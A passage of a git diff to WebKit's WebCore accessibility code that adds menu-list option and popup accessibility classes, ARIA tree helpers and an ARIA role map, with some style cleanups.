+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+#include "AccessibilityMenuListOption.h"
+
+#include "AXObjectCache.h"
+#include "AccessibilityMenuListPopup.h"
+#include "HTMLNames.h"
+#include "HTMLOptionElement.h"
+
+namespace WebCore {
+
+using namespace HTMLNames;
+
+AccessibilityMenuListOption::AccessibilityMenuListOption()
+    : m_popup(0)
+{
+}
+
+void AccessibilityMenuListOption::setElement(HTMLElement* element)
+{
+    ASSERT_ARG(element, element->hasTagName(optionTag));
+    m_element = element;
+}
+
+Element* AccessibilityMenuListOption::actionElement() const
+{
+    return m_element.get();
+}
+
+AccessibilityObject* AccessibilityMenuListOption::parentObject() const
+{
+    return m_popup;
+}
+
+bool AccessibilityMenuListOption::isEnabled() const
+{
+    // disabled() returns true if the parent <select> element is disabled,
+    // which we don't want.
+    return !static_cast<HTMLOptionElement*>(m_element.get())->ownElementDisabled();
+}
+
+bool AccessibilityMenuListOption::isVisible() const
+{
+    // In a single-option select with the popup collapsed, only the selected
+    // item is considered visible.
+    return !m_popup->isOffScreen() || isSelected();
+}
+
+bool AccessibilityMenuListOption::isOffScreen() const
+{
+    // Invisible list options are considered to be offscreen.
+    return !isVisible();
+}
+
+bool AccessibilityMenuListOption::isSelected() const
+{
+    return static_cast<HTMLOptionElement*>(m_element.get())->selected();
+}
+
+void AccessibilityMenuListOption::setSelected(bool b)
+{
+    if (!canSetSelectedAttribute())
+        return;
+
+    static_cast<HTMLOptionElement*>(m_element.get())->setSelected(b);
+}
+
+String AccessibilityMenuListOption::nameForMSAA() const
+{
+    return static_cast<HTMLOptionElement*>(m_element.get())->text();
+}
+
+bool AccessibilityMenuListOption::canSetSelectedAttribute() const
+{
+    return isEnabled();
+}
+
+IntRect AccessibilityMenuListOption::elementRect() const
+{
+    AccessibilityObject* parent = parentObject();
+    ASSERT(parent->isMenuListPopup());
+
+    AccessibilityObject* grandparent = parent->parentObject();
+    ASSERT(grandparent->isMenuList());
+
+    return grandparent->elementRect();
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListOption.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListOption.h
new file mode 100644
index 0000000..7e27888
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListOption.h
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef AccessibilityMenuListOption_h
+#define AccessibilityMenuListOption_h
+
+#include "AccessibilityObject.h"
+
+namespace WebCore {
+
+class AccessibilityMenuListPopup;
+class HTMLElement;
+
+class AccessibilityMenuListOption : public AccessibilityObject {
+public:
+    static PassRefPtr<AccessibilityMenuListOption> create() { return adoptRef(new AccessibilityMenuListOption); }
+
+    void setElement(HTMLElement*);
+    void setParent(AccessibilityMenuListPopup* popup) { m_popup = popup; }
+
+private:
+    AccessibilityMenuListOption();
+
+    virtual bool isMenuListOption() const { return true; }
+
+    virtual AccessibilityRole roleValue() const { return MenuListOptionRole; }
+    virtual bool canHaveChildren() const { return false; }
+    virtual IntSize size() const { return elementRect().size(); }
+
+    virtual Element* actionElement() const;
+    virtual AccessibilityObject* parentObject() const;
+    virtual bool isEnabled() const;
+    virtual bool isVisible() const;
+    virtual bool isOffScreen() const;
+    virtual bool isSelected() const;
+    virtual String nameForMSAA() const;
+    virtual void setSelected(bool);
+    virtual bool canSetSelectedAttribute() const;
+    virtual IntRect elementRect() const;
+
+    RefPtr<HTMLElement> m_element;
+    AccessibilityMenuListPopup* m_popup;
+};
+
+} // namespace WebCore
+
+#endif // AccessibilityMenuListOption_h
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListPopup.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListPopup.cpp
new file mode 100644
index 0000000..48c2fab
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListPopup.cpp
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+#include "AccessibilityMenuListPopup.h"
+
+#include "AXObjectCache.h"
+#include "AccessibilityMenuList.h"
+#include "AccessibilityMenuListOption.h"
+#include "HTMLNames.h"
+#include "HTMLSelectElement.h"
+#include "RenderObject.h"
+
+namespace WebCore {
+
+using namespace HTMLNames;
+
+AccessibilityMenuListPopup::AccessibilityMenuListPopup()
+    : m_menuList(0)
+{
+}
+
+bool AccessibilityMenuListPopup::isVisible() const
+{
+    return false;
+}
+
+bool AccessibilityMenuListPopup::isOffScreen() const
+{
+    return m_menuList->isCollapsed();
+}
+
+AccessibilityObject* AccessibilityMenuListPopup::parentObject() const
+{
+    return m_menuList;
+}
+
+bool AccessibilityMenuListPopup::isEnabled() const
+{
+    return m_menuList->isEnabled();
+}
+
+AccessibilityMenuListOption* AccessibilityMenuListPopup::menuListOptionAccessibilityObject(HTMLElement* element) const
+{
+    if (!element || !element->hasTagName(optionTag))
+        return 0;
+
+    AccessibilityObject* object = m_menuList->renderer()->document()->axObjectCache()->getOrCreate(MenuListOptionRole);
+    ASSERT(object->isMenuListOption());
+
+    AccessibilityMenuListOption* option = static_cast<AccessibilityMenuListOption*>(object);
+    option->setElement(element);
+
+    return option;
+}
+
+bool AccessibilityMenuListPopup::press() const
+{
+    m_menuList->press();
+    return true;
+}
+
+void AccessibilityMenuListPopup::addChildren()
+{
+    Node* selectNode = m_menuList->renderer()->node();
+    if (!selectNode)
+        return;
+
+    m_haveChildren = true;
+
+    ASSERT(selectNode->hasTagName(selectTag));
+
+    const Vector<Element*>& listItems = static_cast<HTMLSelectElement*>(selectNode)->listItems();
+    unsigned length = listItems.size();
+    for (unsigned i = 0; i < length; i++) {
+        // The cast to HTMLElement below is safe because the only other possible listItem type
+        // would be a WMLElement, but WML builds don't use accessbility features at all.
+        AccessibilityMenuListOption* option = menuListOptionAccessibilityObject(static_cast<HTMLElement*>(listItems[i]));
+        if (option) {
+            option->setParent(this);
+            m_children.append(option);
+        }
+    }
+}
+
+void AccessibilityMenuListPopup::childrenChanged()
+{
+    for (size_t i = m_children.size(); i > 0 ; --i) {
+        AccessibilityObject* child = m_children[i - 1].get();
+        if (child->actionElement() && !child->actionElement()->attached()) {
+            m_menuList->renderer()->document()->axObjectCache()->remove(child->axObjectID());
+            m_children.remove(i - 1);
+        }
+    }
+}
+
+void AccessibilityMenuListPopup::setMenuList(AccessibilityMenuList* menuList)
+{
+    ASSERT_ARG(menuList, menuList);
+    ASSERT(!m_menuList);
+    m_menuList = menuList;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListPopup.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListPopup.h
new file mode 100644
index 0000000..88fbf7c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityMenuListPopup.h
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef AccessibilityMenuListPopup_h
+#define AccessibilityMenuListPopup_h
+
+#include "AccessibilityObject.h"
+
+namespace WebCore {
+
+class AccessibilityMenuList;
+class AccessibilityMenuListOption;
+class HTMLElement;
+
+class AccessibilityMenuListPopup : public AccessibilityObject {
+public:
+    static PassRefPtr<AccessibilityMenuListPopup> create() { return adoptRef(new AccessibilityMenuListPopup); }
+
+    void setMenuList(AccessibilityMenuList*);
+
+    virtual bool isEnabled() const;
+    virtual bool isOffScreen() const;
+
+private:
+    AccessibilityMenuListPopup();
+
+    virtual bool isMenuListPopup() const { return true; }
+
+    virtual IntRect elementRect() const { return IntRect(); }
+    virtual IntSize size() const { return IntSize(); }
+    virtual AccessibilityRole roleValue() const { return MenuListPopupRole; }
+
+    virtual bool isVisible() const;
+    virtual AccessibilityObject* parentObject() const;
+    virtual bool press() const;
+    virtual void addChildren();
+    virtual void childrenChanged();
+
+    AccessibilityMenuListOption* menuListOptionAccessibilityObject(HTMLElement*) const;
+
+    AccessibilityMenuList* m_menuList;
+};
+
+} // namespace WebCore
+
+#endif // AccessibilityMenuListPopup_h
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.cpp b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.cpp
index d7093e4..8dedc36 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.cpp
@@ -29,8 +29,8 @@
 #include "config.h"
 #include "AccessibilityObject.h"
 
-#include "AccessibilityRenderObject.h"
 #include "AXObjectCache.h"
+#include "AccessibilityRenderObject.h"
 #include "CharacterNames.h"
 #include "FloatRect.h"
 #include "FocusController.h"
@@ -85,8 +85,9 @@ void AccessibilityObject::detach()
 AccessibilityObject* AccessibilityObject::parentObjectUnignored() const
 {
     AccessibilityObject* parent;
-    for (parent = parentObject(); parent && parent->accessibilityIsIgnored(); parent = parent->parentObject())
-        ;
+    for (parent = parentObject(); parent && parent->accessibilityIsIgnored(); parent = parent->parentObject()) {
+    }
+    
     return parent;
 }
 
@@ -147,6 +148,15 @@ bool AccessibilityObject::press() const
     return true;
 }
     
+String AccessibilityObject::language(Node* node) const
+{
+    const AtomicString& lang = getAttribute(node, langAttr);
+    if (lang.isEmpty())
+        return AccessibilityObject::language();
+    
+    return lang;
+}
+    
 String AccessibilityObject::language() const
 {
     AccessibilityObject* parent = parentObject();
@@ -275,7 +285,7 @@ VisiblePositionRange AccessibilityObject::rightLineVisiblePositionRange(const Vi
     VisiblePosition startPosition = startOfLine(nextVisiblePos);
 
     // fetch for a valid line start position
-    if (startPosition.isNull() ) {
+    if (startPosition.isNull()) {
         startPosition = visiblePos;
         nextVisiblePos = nextVisiblePos.next();
     } else
@@ -381,9 +391,8 @@ static bool replacedNodeNeedsCharacter(Node* replacedNode)
 {
     // we should always be given a rendered node and a replaced node, but be safe
     // replaced nodes are either attachments (widgets) or images
-    if (!replacedNode || !replacedNode->renderer() || !replacedNode->renderer()->isReplaced() || replacedNode->isTextNode()) {
+    if (!replacedNode || !replacedNode->renderer() || !replacedNode->renderer()->isReplaced() || replacedNode->isTextNode())
         return false;
-    }
 
     // create an AX object, but skip it if it is not supposed to be seen
     AccessibilityObject* object = replacedNode->renderer()->document()->axObjectCache()->getOrCreate(replacedNode->renderer());
@@ -445,7 +454,7 @@ String AccessibilityObject::stringForVisiblePositionRange(const VisiblePositionR
     RefPtr<Range> range = makeRange(visiblePositionRange.start, visiblePositionRange.end);
     for (TextIterator it(range.get()); !it.atEnd(); it.advance()) {
         // non-zero length means textual node, zero length means replaced node (AKA "attachments" in AX)
-        if (it.length() != 0) {
+        if (it.length()) {
             // Add a textual representation for list marker text
             String listMarkerText = listMarkerTextForNodeAndPosition(it.node(), visiblePositionRange.start);
             if (!listMarkerText.isEmpty())
@@ -459,9 +468,8 @@ String AccessibilityObject::stringForVisiblePositionRange(const VisiblePositionR
             ASSERT(node == it.range()->endContainer(exception));
             int offset = it.range()->startOffset(exception);
 
-            if (replacedNodeNeedsCharacter(node->childNode(offset))) {
+            if (replacedNodeNeedsCharacter(node->childNode(offset)))
                 resultVector.append(objectReplacementCharacter);
-            }
         }
     }
 
@@ -478,9 +486,9 @@ int AccessibilityObject::lengthForVisiblePositionRange(const VisiblePositionRang
     RefPtr<Range> range = makeRange(visiblePositionRange.start, visiblePositionRange.end);
     for (TextIterator it(range.get()); !it.atEnd(); it.advance()) {
         // non-zero length means textual node, zero length means replaced node (AKA "attachments" in AX)
-        if (it.length() != 0) {
+        if (it.length())
             length += it.length();
-        } else {
+        else {
             // locate the node and starting offset for this replaced range
             int exception = 0;
             Node* node = it.range()->startContainer(exception);
@@ -732,8 +740,8 @@ FrameView* AccessibilityObject::documentFrameView() const
 
 void AccessibilityObject::clearChildren()
 {
-    m_haveChildren = false;
     m_children.clear();
+    m_haveChildren = false;
 }
 
 AccessibilityObject* AccessibilityObject::anchorElementForNode(Node* node)
@@ -754,6 +762,53 @@ AccessibilityObject* AccessibilityObject::anchorElementForNode(Node* node)
     return anchorRenderer->document()->axObjectCache()->getOrCreate(anchorRenderer);
 }
     
+void AccessibilityObject::ariaTreeRows(AccessibilityChildrenVector& result)
+{
+    AccessibilityChildrenVector axChildren = children();
+    unsigned count = axChildren.size();
+    for (unsigned k = 0; k < count; ++k) {
+        AccessibilityObject* obj = axChildren[k].get();
+        
+        // Add tree items as the rows.
+        if (obj->roleValue() == TreeItemRole) 
+            result.append(obj);
+
+        // Now see if this item also has rows hiding inside of it.
+        obj->ariaTreeRows(result);
+    }
+}
+    
+void AccessibilityObject::ariaTreeItemContent(AccessibilityChildrenVector& result)
+{
+    // The ARIA tree item content are the item that are not other tree items or their containing groups.
+    AccessibilityChildrenVector axChildren = children();
+    unsigned count = axChildren.size();
+    for (unsigned k = 0; k < count; ++k) {
+        AccessibilityObject* obj = axChildren[k].get();
+        AccessibilityRole role = obj->roleValue();
+        if (role == TreeItemRole || role == GroupRole)
+            continue;
+        
+        result.append(obj);
+    }
+}
+
+void AccessibilityObject::ariaTreeItemDisclosedRows(AccessibilityChildrenVector& result)
+{
+    AccessibilityChildrenVector axChildren = children();
+    unsigned count = axChildren.size();
+    for (unsigned k = 0; k < count; ++k) {
+        AccessibilityObject* obj = axChildren[k].get();
+        
+        // Add tree items as the rows.
+        if (obj->roleValue() == TreeItemRole)
+            result.append(obj);
+        // If it's not a tree item, then descend into the group to find more tree items.
+        else 
+            obj->ariaTreeRows(result);
+    }    
+}
+    
 const String& AccessibilityObject::actionVerb() const
 {
     // FIXME: Need to add verbs for select elements.
@@ -763,26 +818,44 @@ const String& AccessibilityObject::actionVerb() const
     DEFINE_STATIC_LOCAL(const String, checkedCheckBoxAction, (AXCheckedCheckBoxActionVerb()));
     DEFINE_STATIC_LOCAL(const String, uncheckedCheckBoxAction, (AXUncheckedCheckBoxActionVerb()));
     DEFINE_STATIC_LOCAL(const String, linkAction, (AXLinkActionVerb()));
+    DEFINE_STATIC_LOCAL(const String, menuListAction, (AXMenuListActionVerb()));
+    DEFINE_STATIC_LOCAL(const String, menuListPopupAction, (AXMenuListPopupActionVerb()));
     DEFINE_STATIC_LOCAL(const String, noAction, ());
 
     switch (roleValue()) {
-        case ButtonRole:
-            return buttonAction;
-        case TextFieldRole:
-        case TextAreaRole:
-            return textFieldAction;
-        case RadioButtonRole:
-            return radioButtonAction;
-        case CheckBoxRole:
-            return isChecked() ? checkedCheckBoxAction : uncheckedCheckBoxAction;
-        case LinkRole:
-        case WebCoreLinkRole:
-            return linkAction;
-        default:
-            return noAction;
+    case ButtonRole:
+        return buttonAction;
+    case TextFieldRole:
+    case TextAreaRole:
+        return textFieldAction;
+    case RadioButtonRole:
+        return radioButtonAction;
+    case CheckBoxRole:
+        return isChecked() ? checkedCheckBoxAction : uncheckedCheckBoxAction;
+    case LinkRole:
+    case WebCoreLinkRole:
+        return linkAction;
+    case PopUpButtonRole:
+        return menuListAction;
+    case MenuListPopupRole:
+        return menuListPopupAction;
+    default:
+        return noAction;
     }
 }
  
+const AtomicString& AccessibilityObject::getAttribute(Node* node, const QualifiedName& attribute)
+{
+    if (!node)
+        return nullAtom;
+    
+    if (!node->isElementNode())
+        return nullAtom;
+    
+    Element* element = static_cast<Element*>(node);
+    return element->getAttribute(attribute);
+}
+    
 // Lacking concrete evidence of orientation, horizontal means width > height. vertical is height > width;
 AccessibilityOrientation AccessibilityObject::orientation() const
 {
@@ -794,6 +867,119 @@ AccessibilityOrientation AccessibilityObject::orientation() const
 
     // A tie goes to horizontal.
     return AccessibilityOrientationHorizontal;
+}    
+
+typedef HashMap<String, AccessibilityRole, CaseFoldingHash> ARIARoleMap;
+
+struct RoleEntry {
+    String ariaRole;
+    AccessibilityRole webcoreRole;
+};
+
+static ARIARoleMap* createARIARoleMap()
+{
+    const RoleEntry roles[] = {
+        { "alert", ApplicationAlertRole },
+        { "alertdialog", ApplicationAlertDialogRole },
+        { "application", LandmarkApplicationRole },
+        { "article", DocumentArticleRole },
+        { "banner", LandmarkBannerRole },
+        { "button", ButtonRole },
+        { "checkbox", CheckBoxRole },
+        { "complementary", LandmarkComplementaryRole },
+        { "contentinfo", LandmarkContentInfoRole },
+        { "dialog", ApplicationDialogRole },
+        { "directory", DirectoryRole },
+        { "grid", TableRole },
+        { "gridcell", CellRole },
+        { "columnheader", ColumnHeaderRole },
+        { "combobox", ComboBoxRole },
+        { "definition", DefinitionListDefinitionRole },
+        { "document", DocumentRole },
+        { "rowheader", RowHeaderRole },
+        { "group", GroupRole },
+        { "heading", HeadingRole },
+        { "img", ImageRole },
+        { "link", WebCoreLinkRole },
+        { "list", ListRole },        
+        { "listitem", GroupRole },        
+        { "listbox", ListBoxRole },
+        { "log", ApplicationLogRole },
+        // "option" isn't here because it may map to different roles depending on the parent element's role
+        { "main", LandmarkMainRole },
+        { "marquee", ApplicationMarqueeRole },
+        { "math", DocumentMathRole },
+        { "menu", MenuRole },
+        { "menubar", GroupRole },
+        // "menuitem" isn't here because it may map to different roles depending on the parent element's role
+        { "menuitemcheckbox", MenuItemRole },
+        { "menuitemradio", MenuItemRole },
+        { "note", DocumentNoteRole },
+        { "navigation", LandmarkNavigationRole },
+        { "option", ListBoxOptionRole },
+        { "presentation", IgnoredRole },
+        { "progressbar", ProgressIndicatorRole },
+        { "radio", RadioButtonRole },
+        { "radiogroup", RadioGroupRole },
+        { "region", DocumentRegionRole },
+        { "row", RowRole },
+        { "range", SliderRole },
+        { "scrollbar", ScrollBarRole },
+        { "search", LandmarkSearchRole },
+        { "separator", SplitterRole },
+        { "slider", SliderRole },
+        { "spinbutton", ProgressIndicatorRole },
+        { "status", ApplicationStatusRole },
+        { "tab", TabRole },
+        { "tablist", TabListRole },
+        { "tabpanel", TabPanelRole },
+        { "text", StaticTextRole },
+        { "textbox", TextAreaRole },
+        { "timer", ApplicationTimerRole },
+        { "toolbar", ToolbarRole },
+        { "tooltip", UserInterfaceTooltipRole },
+        { "tree", TreeRole },
+        { "treegrid", TreeGridRole },
+        { "treeitem", TreeItemRole }
+    };
+    ARIARoleMap* roleMap = new ARIARoleMap;
+    
+    const unsigned numRoles = sizeof(roles) / sizeof(roles[0]);
+    for (unsigned i = 0; i < numRoles; ++i)
+        roleMap->set(roles[i].ariaRole, roles[i].webcoreRole);
+    return roleMap;
+}
+
+AccessibilityRole AccessibilityObject::ariaRoleToWebCoreRole(const String& value)
+{
+    ASSERT(!value.isEmpty());
+    static const ARIARoleMap* roleMap = createARIARoleMap();
+    return roleMap->get(value);
 }
+
+bool AccessibilityObject::isInsideARIALiveRegion() const
+{
+    if (supportsARIALiveRegion())
+        return true;
+    
+    for (AccessibilityObject* axParent = parentObject(); axParent; axParent = axParent->parentObject()) {
+        if (axParent->supportsARIALiveRegion())
+            return true;
+    }
+    
+    return false;
+}
+
+bool AccessibilityObject::supportsARIAAttributes() const
+{
+    return supportsARIALiveRegion() || supportsARIADragging() || supportsARIADropping() || supportsARIAFlowTo() || supportsARIAOwns();
+}
+    
+bool AccessibilityObject::supportsARIALiveRegion() const
+{
+    const AtomicString& liveRegion = ariaLiveRegionStatus();
+    return equalIgnoringCase(liveRegion, "polite") || equalIgnoringCase(liveRegion, "assertive");
+}
+
     
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.h b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.h
index 8fc40e8..7c52cd5 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.h
+++ b/src/3rdparty/webkit/WebCore/accessibility/AccessibilityObject.h
@@ -34,13 +34,12 @@
 #include "Range.h"
 #include "VisiblePosition.h"
 #include "VisibleSelection.h"
-#include <wtf/Platform.h>
 #include <wtf/RefPtr.h>
 #include <wtf/Vector.h>
 
 #if PLATFORM(MAC)
 #include <wtf/RetainPtr.h>
-#elif PLATFORM(WIN) && !PLATFORM(WINCE)
+#elif PLATFORM(WIN) && !OS(WINCE)
 #include "AccessibilityObjectWrapperWin.h"
 #include "COMPtr.h"
 #elif PLATFORM(CHROMIUM)
@@ -161,7 +160,18 @@ enum AccessibilityRole {
     AnnotationRole,
     SliderThumbRole,
     IgnoredRole,
-    
+    TabRole,
+    TabListRole,
+    TabPanelRole,
+    TreeRole,
+    TreeGridRole,
+    TreeItemRole,
+    DirectoryRole,
+    EditableTextRole,
+    ListItemRole,
+    MenuListPopupRole,
+    MenuListOptionRole,
+
     // ARIA Grouping roles
     LandmarkApplicationRole,
     LandmarkBannerRole,
@@ -171,6 +181,9 @@ enum AccessibilityRole {
     LandmarkNavigationRole,
     LandmarkSearchRole,
     
+    ApplicationAlertRole,
+    ApplicationAlertDialogRole,
+    ApplicationDialogRole,
     ApplicationLogRole,
     ApplicationMarqueeRole,
     ApplicationStatusRole,
@@ -178,6 +191,7 @@ enum AccessibilityRole {
     
     DocumentRole,
     DocumentArticleRole,
+    DocumentMathRole,
     DocumentNoteRole,
     DocumentRegionRole,
     
@@ -189,7 +203,7 @@ enum AccessibilityOrientation {
     AccessibilityOrientationHorizontal,
 };
     
-enum AccessibilityObjectPlatformInclusion {
+enum AccessibilityObjectInclusion {
     IncludeObject,
     IgnoreObject,
     DefaultBehavior,
@@ -225,7 +239,7 @@ struct PlainTextRange {
         , length(l)
     { }
     
-    bool isNull() const { return start == 0 && length == 0; }
+    bool isNull() const { return !start && !length; }
 };
 
 class AccessibilityObject : public RefCounted<AccessibilityObject> {
@@ -237,64 +251,82 @@ public:
         
     typedef Vector<RefPtr<AccessibilityObject> > AccessibilityChildrenVector;
     
-    virtual bool isAccessibilityRenderObject() const { return false; };
-    virtual bool isAnchor() const { return false; };
-    virtual bool isAttachment() const { return false; };
-    virtual bool isHeading() const { return false; };
-    virtual bool isLink() const { return false; };
-    virtual bool isImage() const { return false; };
-    virtual bool isNativeImage() const { return false; };
-    virtual bool isImageButton() const { return false; };
-    virtual bool isPasswordField() const { return false; };
-    virtual bool isTextControl() const { return false; };
-    virtual bool isNativeTextControl() const { return false; };
-    virtual bool isWebArea() const { return false; };
-    virtual bool isCheckboxOrRadio() const { return false; };
-    virtual bool isListBox() const { return roleValue() == ListBoxRole; };
+    virtual bool isAccessibilityRenderObject() const { return false; }
+    virtual bool isAnchor() const { return false; }
+    virtual bool isAttachment() const { return false; }
+    virtual bool isHeading() const { return false; }
+    virtual bool isLink() const { return false; }
+    virtual bool isImage() const { return false; }
+    virtual bool isNativeImage() const { return false; }
+    virtual bool isImageButton() const { return false; }
+    virtual bool isPasswordField() const { return false; }
+    virtual bool isTextControl() const { return false; }
+    virtual bool isNativeTextControl() const { return false; }
+    virtual bool isWebArea() const { return false; }
+    virtual bool isCheckboxOrRadio() const { return false; }
+    virtual bool isListBox() const { return roleValue() == ListBoxRole; }
     virtual bool isMediaTimeline() const { return false; }
     virtual bool isMenuRelated() const { return false; }
     virtual bool isMenu() const { return false; }
     virtual bool isMenuBar() const { return false; }
     virtual bool isMenuButton() const { return false; }
     virtual bool isMenuItem() const { return false; }
-    virtual bool isFileUploadButton() const { return false; };
+    virtual bool isFileUploadButton() const { return false; }
     virtual bool isInputImage() const { return false; }
-    virtual bool isProgressIndicator() const { return false; };
-    virtual bool isSlider() const { return false; };
-    virtual bool isControl() const { return false; };
-    virtual bool isList() const { return false; };
-    virtual bool isDataTable() const { return false; };
-    virtual bool isTableRow() const { return false; };
-    virtual bool isTableColumn() const { return false; };
-    virtual bool isTableCell() const { return false; };
-    virtual bool isFieldset() const { return false; };
-    virtual bool isGroup() const { return false; };
+    virtual bool isProgressIndicator() const { return false; }
+    virtual bool isSlider() const { return false; }
+    virtual bool isControl() const { return false; }
+    virtual bool isList() const { return false; }
+    virtual bool isDataTable() const { return false; }
+    virtual bool isTableRow() const { return false; }
+    virtual bool isTableColumn() const { return false; }
+    virtual bool isTableCell() const { return false; }
+    virtual bool isFieldset() const { return false; }
+    virtual bool isGroup() const { return false; }
+    virtual bool isARIATreeGridRow() const { return false; }
+    virtual bool isImageMapLink() const { return false; }
+    virtual bool isMenuList() const { return false; }
